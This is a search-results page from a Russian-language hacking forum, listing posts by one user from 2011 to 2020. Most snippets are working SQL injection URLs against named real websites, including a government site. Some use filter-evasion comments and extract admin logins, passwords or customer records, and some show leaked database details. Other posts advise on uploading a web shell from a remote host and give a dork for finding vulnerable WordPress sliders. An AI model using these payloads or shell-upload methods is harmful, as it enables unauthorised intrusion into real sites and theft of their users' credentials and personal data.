|
 |
 | |
 | |
| |
 |
 |
FORUMS | |
MEMBERS | |
RECENT POSTS |  |
LOG IN |
|
||||||
|
Показано с 1 по 21 из 21.
На поиск затрачено 0.00 сек. Поиск: Сообщения от: look2009 |
Раздел: Песочница
20.10.2020, 05:58
|
|
Ответов: 2
Просмотров: 2,832
Автор
look2009
Скорее админ полостью права выставил, обычно...Скорее админ полостью права выставил, обычно именно так. Через тему вряд-ли получитя, но нужно попробовать, вариант посмотреть, что за плагины, и искать там уязвимость, если будет возможность хоть... |
|
Раздел: Песочница
15.10.2020, 01:46
|
|
Ответов: 3
Просмотров: 3,155
Автор
look2009
Инекция существует из-за недростаточной...Инекция существует из-за недростаточной фильтрации, живой пример в php две библиотеки mysqli и pdo, обе библиотеки предназняченны для работы с mysql, одна с достаточной фильтрацией - pdo, вторая... |
|
Раздел: Задания/Квесты/CTF/Конкурсы
10.09.2020, 10:59
|
|
Ответов: 16
Просмотров: 13,424
Автор
look2009
|
|
Раздел: Уязвимости
09.09.2020, 09:17
|
|
Ответов: 264
Просмотров: 283,913
Автор
look2009
В линке начали фильтровать union
Теперь...В линке начали фильтровать union Теперь работает так. http://www.fc-utd.co.uk/report.php?match_id=-1901/*!50000union*/%20/*!50000SeLeCt*/%20/*!50000version()*/%20--# |
|
Раздел: Мировые новости. Обсуждения.
09.09.2020, 08:30
|
|
Ответов: 24
Просмотров: 4,858
Автор
look2009
|
|
Раздел: Песочница
20.07.2019, 19:32
|
|
Ответов: 4
Просмотров: 3,882
Автор
look2009
Как можно использовать совместно 80 и 443 порт не...Как можно использовать совместно 80 и 443 порт не ясно, вроде и так всё работает, формулируйте вопрос точнее, и что значит обойти интернет, или под суверенным вы понимаете роскомнадзор??? ))) Если... |
|
Раздел: Песочница
20.07.2019, 19:24
|
|
Ответов: 2
Просмотров: 2,547
Автор
look2009
Нет.
ЭЦП - это сгенерированный крипто ключ...Нет. ЭЦП - это сгенерированный крипто ключ при помощи которого данные можно шифровать, дешифровать, бывают разных уровней, деверенные, не доверенные и т.д. MAC адрес - ид адрес сетевого... |
|
Раздел: Песочница
20.07.2019, 10:43
|
|
Ответов: 8
Просмотров: 8,045
Автор
look2009
Да, но это только если фильтр на js, если на...Да, но это только если фильтр на js, если на серваке расписана мета в скрипте, то не получится, но как вариант может прокатить банальная подмена запроса. Пробуй ещё при подмене перед именем файла... |
|
Раздел: Мировые новости. Обсуждения.
05.04.2019, 01:20
|
|
Ответов: 24
Просмотров: 4,858
Автор
look2009
Сеть стала самодостаточной, тут вариант только...Сеть стала самодостаточной, тут вариант только сеть пильнуть на 2 части, и то если получится, блокировать нужно на всех маршрутах, что в нашем мире не реально, "пакет найдёт своего получателя"©.... |
|
Раздел: Мировые новости. Обсуждения.
09.11.2014, 09:17
|
|
Ответов: 19
Просмотров: 13,078
Автор
look2009
Если оплата за блок будет ниже, то и сложность...Если оплата за блок будет ниже, то и сложность сразу выше, спрос не уменьшился, цена вверх. |
|
Раздел: Веб-уязвимости
04.11.2014, 02:33
|
|
Ответов: 361
Просмотров: 143,334
Автор
look2009
joomla 3.2.1
...joomla 3.2.1 index.php/weblinks-categories?id=0%20%29%20union%20select%20concat_ws(0x3a,username,password)%20from%20%60ppo1v_users%60%20--%20%29 |
|
Раздел: Уязвимости
23.10.2014, 07:25
|
|
Ответов: 16,037
Важно: SQL Инъекции
Просмотров: 1,131,729
Автор
look2009
http://www.prolink2u.com/new/products/print_prod.p...http://www.prolink2u.com/new/products/print_prod.php?cid=75%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat_ws(0x3a,0x3a,0x3a,cust_id,cust_fname,cust_lname,cust_city,cust_country,cust_dob,c... |
|
Раздел: Уязвимости
10.09.2014, 02:31
|
|
Ответов: 16,037
Важно: SQL Инъекции
Просмотров: 1,131,729
Автор
look2009
http://www.minambiente.gov.co/index.php?option=com...http://www.minambiente.gov.co/index.php?option=com_spidercalendar&calendar_id=1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+ |
|
Раздел: Песочница
10.09.2014, 02:05
|
|
Ответов: 5
Просмотров: 7,623
Автор
look2009
Сорри не заметил, пробуй шелл записать через...Сорри не заметил, пробуй шелл записать через запрос файла file get content или пиши curl скрипт запроса шелла в тело переменной и записывай в файл. Можешь записать полностью файл через... |
|
Раздел: Песочница
10.09.2014, 01:25
|
|
Ответов: 5
Просмотров: 7,623
Автор
look2009
copy('http://site.ru/s.txt','s.php'); нужно
...copy('http://site.ru/s.txt','s.php'); нужно Нужно прописать полный путь, если есть раскрытие путей, посмотри, и пробуй полный путь прописать. /var/www/site-ru/data не похоже на полный путь до... |
|
Раздел: Уязвимости CMS / форумов
10.09.2014, 01:20
|
|
Ответов: 8
Просмотров: 1,012
Автор
look2009
Ну раз уж тема в индексе по запросу заливка шелла...Ну раз уж тема в индексе по запросу заливка шелла через БД, то подниму и дополню Сам всё зальёт, если этот файл залили, то вызовем его для заливки шелла, тем более путь по любому нужен. |
|
Раздел: Веб-уязвимости
12.08.2014, 01:41
|
|
Ответов: 383
Просмотров: 90,266
Автор
look2009
Dork : revslider.php "index of"
Wordpress...Dork : revslider.php "index of" Wordpress Slider Revolution Responsive |
|
Раздел: Уязвимости
08.05.2014, 16:45
|
|
Ответов: 16,037
Важно: SQL Инъекции
Просмотров: 1,131,729
Автор
look2009
http://www.putridflowers.com/music.php?id=2+UNION+...http://www.putridflowers.com/music.php?id=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(concat_ws(0x3a3a%20,loginid,password)),14,15,16,17+FROM+pf_admin+--+ |
|
Раздел: Уязвимости
07.05.2014, 01:09
|
|
Ответов: 16,037
Важно: SQL Инъекции
Просмотров: 1,131,729
Автор
look2009
http://www.npfpol.ru/cat.php?f=172+UNION+SELECT+1,...http://www.npfpol.ru/cat.php?f=172+UNION+SELECT+1,2,database(),version(),5,6,user()+--+ 4.0.27-log npfpol10_poly npfpol10_poly@217.112.37.2 |
|
Раздел: Песочница
11.02.2014, 16:31
|
|
Ответов: 0
Просмотров: 2,221
Автор
look2009
|
|
Раздел: Уязвимости
08.01.2011, 04:22
|
|
Ответов: 16,037
Важно: SQL Инъекции
Просмотров: 1,131,729
Автор
look2009
http://www.mattmo.nl/detail.php?project=125/**/uni...http://www.mattmo.nl/detail.php?project=125/**/union/**/select/**/USER(),2,3-- root@localhost 5.0.45-log mattmo --------- |
| Показано с 1 по 21 из 21. |
